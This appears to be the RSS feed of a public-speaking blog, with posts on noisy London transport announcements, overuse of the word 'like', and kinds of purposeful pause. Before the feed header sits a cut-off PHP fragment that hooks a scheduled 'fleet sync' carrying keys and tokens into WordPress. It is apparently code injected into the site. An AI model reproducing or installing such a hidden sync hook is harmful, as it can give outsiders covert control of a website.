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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Pause Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/pause/ Public speaking Sun, 20 Aug 2023 10:31:59 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Just pause – the power of silence; don’t worry about the gap! https://www.nowyouretalking.co.uk/2023/08/20/just-pause-power-of-silence/ Sun, 20 Aug 2023 10:18:10 +0000 https://www.nowyouretalking.co.uk/?p=707 Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence. We are apparently born with just two fears – fear of falling and fear of LOUD…

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]]> Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence.

We are apparently born with just two fears – fear of falling and fear of LOUD NOISES.  These two fears are part of our DNA that we pass from one generation to the next as survival mechanisms.  They have one purpose and one purpose only… the preservation of the human race.

MIND THE GAP! Pause - don't mind the gap

Fellow travellers, commuters and everyone who uses public transport in  London, have you stopped listening to those loud and incessant health-&-safety-driven messages. Just pause and please don’t mind the gap.

A while ago now, rail bosses agreed to rid passenger announcements of what they called ‘tosh’, after finding most customers zone out at the first ‘bing-bong’ of the PA system because they consider the information to be largely irrelevant, redundant and repetitive.

Bizarrely, this hasn’t filtered through to TfL.  And to make sure we don’t zone out its pearls of wisdom, TfL has ramped up the volume!

A member of TfL staff once explained to me that the decibel level for its inanities, sorry important messages and announcements, is set at 20% above the ambient sound levels on the platforms or in the trains.  I’m not sure how they gauge the ambient sound, but 20% above seems to vary from…

[VERY QUIETLY] “This train terminates here.  All change.  Thank you for travelling with London Overground.”

… to

[VERY LOUDLY] “This is a customer announcement.  In the interests of security, please keep your luggage and personal belongings with you at all times!  If you see anything suspicious, please tell a member of staff or a police officer.” And now we have the maddening, if well-intentioned addition of “See it. Say it. Sorted!”

One moment, it’s barely audible; the next, [FINGERS IN EARS] “Turn it down, pleeeeease!”

And as if that’s not enough, they seem to want to grind us into the ground by droning on and on and on, relentlessly ignoring the power of the pause!

Please stand behind the yellow line.

Please take extra care with the gap between the train and the platform.  Whatever happened to Mind the Gap?

This is the London Overground Service to Highbury & Islington.  The next station is Canada Water.  Change here for London Underground Jubilee Line.  The next station bit is like a breath of fresh air as the name changes from one stop to the next.

Pause, please! But they don’t stop there!

You must have a valid ticket or Oyster card to use this train.  If you do not, you may have to pay a penalty fare.  Thank you.

Would customers please note that due to a short platform, the rear doors of the last coach will not open.

Would customers please note, you can only alight from the front four coaches as this station has a short platform.

Please ensure that you are travelling in the correct part of the train.  This is coach number 2 of 5.

Every station!  And sometimes in triplicate – just before the station, at the station, on leaving the station!  And if the length of the platform is the only thing that customers should please note, why say the rest!  Would TfL please note, it’s like listening to a robot unravelling! Pause. Take a breath. Stop talking!

No wonder people wear headphones!  Unfortunately, this exacerbates the situation, as TfL ramps up the decibel level even further in an effort to penetrate the passenger sound barrier.

It’s a terrifying experience out there on Transport for London.  I feel utterly bamboozled, battered and bewildered!

But then, sometimes you get lucky and the noise becomes beautiful and humorous sound.  A guard on the Met line recently announced: “I do apologise for the early arrival of this service this morning.  Normal delayed service will be resumed this evening!”

The Jubilee line has a driver who likes to entertain his passengers.  Based on what he sees as people board the train, his dulcet tones have caressed our hearts and ears with things like

Welcome to the Jubilee line this Friday evening.  If you need someone to do your ironing this weekend, have a chat with the lady who has just boarded the third carriage from the front … with an ironing board.  For a sing song, please move to the rear of the train and join the man with his guitar.  I wish I had given the beautiful lady the red roses she is carrying.  Come Monday morning, welcome ladies and gentlemen.  I hope you had a great weekend! These are announcements we can enjoy, humorous messages that make us feel good. And when they have nothing to say, they pause. Silence.

Would TfL please note, drivers can give us so much pleasure

Would TfL please pause, we have no fear of silence

Would TfL please note the rather apposite wisdom of Mark Twain:

“If you have nothing to say, say nothing.”

 

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]]> What to do when like turns to dislike https://www.nowyouretalking.co.uk/2020/02/04/like/ Tue, 04 Feb 2020 22:48:27 +0000 https://www.nowyouretalking.co.uk/?p=427 Like has crept into (or should I say is revisiting) the English language and sometimes feels as if it’s destroying the richness of the language, its nuances and variety.  When you’re giving a speech or presentation, the words you choose…

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]]> Like has crept into (or should I say is revisiting) the English language and sometimes feels as if it’s destroying the richness of the language, its nuances and variety.  When you’re giving a speech or presentation, the words you choose to use impact your authority and memorability.

From ‘er’ to the ‘L’ word

“627 ers and ums this morning!”

“That’s just over 10 a minute on average.  How is that even possible?”

I remember sitting in lectures in the 1980s, counting the ‘ers’ and ‘ums’ of a professor.  He had so many variations on the fillers that the five-bar counting of er, ah, um, eh, ar, mm, ehm, etc became all-consuming.  That’s all I remember of his lectures.  This may say something about repetition as a means of driving home a message, but I’m sure this was not the takeaway he hoped for!

Fillers are for sandwiches, professor, not for speakers or, indeed, lecturers.  These tiny little words, or should I say sounds, are distracting, annoying and do nothing to further the speaker’s cause.

English is a rich language, continuously evolving and changing.  It is indubitably subject to people’s own creativity and imagination, while technology in general and social media in particular are also having a profound impact.

The word ‘like’, for instance, while not a new word, has relatively recently inveigled its way to prominence in many people’s everyday speech.

With technology, notably Facebook, has come the ‘L’ word and it seems to be rapidly undermining our ability to tap into the richness of the English language.

When ‘like’ first took over, I received some transcripts of focus groups conducted in the USA.  They were utterly intelligible.  Surely there was some mistake.  Sentences were incomplete.  The point the speaker wanted to make was reduced to ‘like’, which seemed to be some synonym for ‘you know?’  And the moderator demonstrated an appalling lack of curiosity by assuming she did, indeed, know what ‘like’ meant.  I asked for the transcripts to be reviewed and they had to re-run the groups to find out what the participants really wanted to say.

Please don’t ‘like’ the English language too much

Like English language

The Second Edition of the 20-volume Oxford English Dictionary (OED) contains full entries for 171,476 words in current use, and 47,156 obsolete words.  To this may be added around 9,500 derivative words included as sub-entries.

It is, arguably, impossible to count the number of words in the English language.  That’s why the OED pitches itself on 615,100 ‘definitions’ rather than total number of words.  If all the different senses are included, the total word count in current English usage would bump up to nearly 750,000.

However, you cut it, that’s a lot of words and apparently we use very few of them.  As with the total number of words, it is difficult to measure vocabulary size accurately as it varies greatly from person to person.

Robert Charles Lee suggests that average adult native English speakers know some 20,000 to 35,000 words.  He goes further.  You’ll only need to know 3,000 words in current use to get through 95% of all reading matter.  That is a mere 1.75% of the 171,476 words in current use.

Like in today’s language

And ‘like’ is a major contributor.  Why, I wonder.  It may have something to do with the extraordinary variety of uses of like, both traditional and modern.  It can be used as a verb, noun, adverb, adjective, preposition, conjunction …

  • Like as a verb – put simply, to enjoy or get pleasure from something.
  • Like as a noun – something that you like, approve of, or enjoy (usually plural), eg my likes and dislikes
  • Like as an adverb – meaning probably, eg like as not.  However, in contemporary usage,
  • Like as an adjective – having the same or similar qualities
  • Like as a preposition – similar to (something or someone), typical of, comparator, etc
  • Like as a conjunction – in the sense of ‘as if’, ‘the way’, ‘the type’.  Some say this usage is a grammatical error

Like in the modern vernacular has many additional uses, especially among younger people.  For example, it can emphasise a word or phrase, eg He was, like, Wow! That’s awesome.

It can indicate a tentative or approximate sense, a lack of confidence or certainty, eg I want to, like, leave home, I think it costs, like, £20.

Quotative like can cover both ‘saying’ and ‘thinking’.  It has effectively become a surrogate verb.  According to linguist Alexandra D’Arcy, it caught on fast, so that the teenagers of the 1990s and beyond use quotative like in about half the situations where they could use ‘like’ or ‘say’ or ‘think’.  She also says that it is an Americanism, but it seems to have crossed international borders at the speed of a computer virus.

Like as a filler – er and um seem to have largely yielded place to the ‘L’ word.  It may also be found at the start of sentences, replacing ‘so’, ‘well’, etc.

Like as a stand in for actual words.  It is not unusual to hear sentences ending in ‘like’, leaving the unspoken words to the imagination of the listener.  Since we are not mind readers, this can be a risky business.

Choose your words for clarity, colour and credibility

As in the case of my professor, excessive use of the ‘L’ word was such a distraction that we couldn’t concentrate on what he was actually saying.

PauseRemarkably, it seems that when required, people can lose the ‘L’ word.  I have a friend who is an excessive user of the ‘L’ word.  One morning, in an interview on BBC Breakfast, he spoke fluently for five minutes without once using the word. How? A simple pause.

Some likes, I like!  But consider, too, what synonyms may be available to enrich and vary your vocabulary.  Please don’t ‘like’ our rich language to death.  Use it selectively and appropriately to communicate, not to distract.

If you want to express yourself clearly and credibly or find yourself in a more formal situation, such as public speaking, lecturing or taking part in a TV interview, try and minimise inappropriate or excessive use of the ‘L’ word. Pause … And continue to your next point.

 

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]]> Pause with purpose for meaning, clarity and impact https://www.nowyouretalking.co.uk/2019/04/04/pause-with-purpose/ Thu, 04 Apr 2019 15:29:07 +0000 https://www.nowyouretalking.co.uk/?p=867 Pause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.” I love…

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]]> Pause buttonPause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.”

I love a good pause and there are many to choose from, each with its own particular purpose and impact.

Opening pause

This is my favourite and brings a number of important benefits:

First, saying nothing is attention grabbing, it won’t be long before your audience realises no one is talking and will stop what they are doing or thinking about and focus on you. Second, and a related benefit, your silence will pique their curiosity and make them wonder what will happen next. Third, you have the silent time to calm yourself, take a few deep breaths and ready yourself to speak. Fourth, this opening time allows you to gauge the room and get a sense of how the audience is feeling and whether you need to make any adjustments to, for instance, energy levels, engagement, interaction, etc.

To maximise the impact of the opening pause, it needs to last at least five seconds and be delivered with confidence, including a solid and stable stance and good eye contact with your listeners/audience.

Filler-free pause

Er, um, like and other little sounds that can creep into our speech, especially when we are nervous. The odd one here and there gives a sense of spontaneity and a relaxed, conversational style. However, too many can be annoying and even distract an audience from listening to what you have to say.

Taking a small breath will help you reduce the ers and ums and come across with greater clarity and confidence.

Creative pause

If you invite the audience to imagine, reflect, picture or create an image or situation, give them time to do that. They will conjure up their version of what you are asking them to imagine/picture, etc. This is not only much more vivid than you describing in great detail a scene from your life, but it also enables people to join you in your story, using their frameworks and experiences.

Reflective pause

When you are presenting some difficult or unfamiliar ideas, give your audience time to absorb what you have said. In similar vein, if you ask them a question (even a rhetorical question) or ask them to think about something, such as a choice, give them time to consider and decide where they stand.

Punchline pause

Pauses are an essential part of creating humour in a speech. This is especially the case with humour built on misdirection. This involves telling a joke, story or anecdote in a way that misdirects your audience to anticipate the next line. While you pause they complete the joke as they expect it to end. You then deliver a different outcome, surprising the audience and (hopefully) making them laugh. Without the pause, the listener doesn’t have time to consider what they expect you to say and the humorous moment is lost.

Dramatic pause

This is especially powerful in storytelling. By pausing, you heighten the tension in your story and keep your listeners fully engaged as they long to hear the outcome.

And, critically, don’t forget to remain silent while your audience laughs. If you cut them off by speaking over the laughter, the chances are that they won’t laugh again and you will have severed a compelling connection.

Punctuation pause

When you write, you punctuate with commas, full stops, etc. This invisible punctuation needs to be audible when we speak otherwise we can sound as if our words are running away with us. Some short pauses add to the clarity and control of your narrative.

Emphatic pause

If you want to bring some additional weight or gravitas to a word, phrase or point, pause and then speak at a lower pitch and slower pace. The silence signals the start of something different and the change in pitch and pace indicates the nature of the differentiation.

Word-congruent pause

Very similar to an emphatic pause, congruency uses pauses to reinforce words. For instance, “Hesitatingly [breathe], he moved forward” or “Wracked with pain, she paused [breathe] …” before continuing to speak.

Show-me pause

A picture paints a thousand words. As the speaker, you can become the picture and use facial expression to show your audience exactly how you feel about something. A pause while you show them is generally far more evocative and memorable than using narrative to describe the feeling.

Visual aids pause

For most of us, vision is our primary sense. This means that if you put up slides or other visual aids, we are more likely to look or read than to listen. As such, if you speak at this time, your words will almost certainly fall on deaf ears. Keep silent while people absorb the visuals and then continue with what you have to say.

Pause for thought

This is a moment you take to think about what you want to say when you find yourself faced with impromptu questions, eg Q&A, panels, job interviews, untabled questions in a meeting, etc. By pausing, you buy yourself some time to think about what you want to say and how you want to say it.

Petrified pause

So many ways to pause with purpose, but there is one that you don’t want in your speeches or presentations and that’s the petrified pause. Sometimes, when we’re really nervous, we can find our brain freezing and we simply can’t think what to say. Anxiously pausing and searching for words conveys a lack of confidence and perhaps a lack of preparation as well. In this situation, it is important to do some work on managing your nerves so that they generate positive energy for your talk.

Fortunately, pausing with purpose is generally powerful and positively impacts your speeches and presentations. The challenge is to deliver these pauses.

Practise pausing

When we are nervous, we tend to speak too quickly and pauses simply don’t happen. We need to get comfortable with using them. What feels like eternity from your standpoint in front of an audience, feels like no time at all to everyone else in the room.

When you are preparing and practising a speech or presentation, try to insert pauses and the appropriate length for each one. When you pause, count the number of seconds you have allowed. Record yourself and play back to see how long those silences really sound. Could some of them be longer to achieve their purpose? With practise, you will come to enjoy the impact of pausing with purpose.

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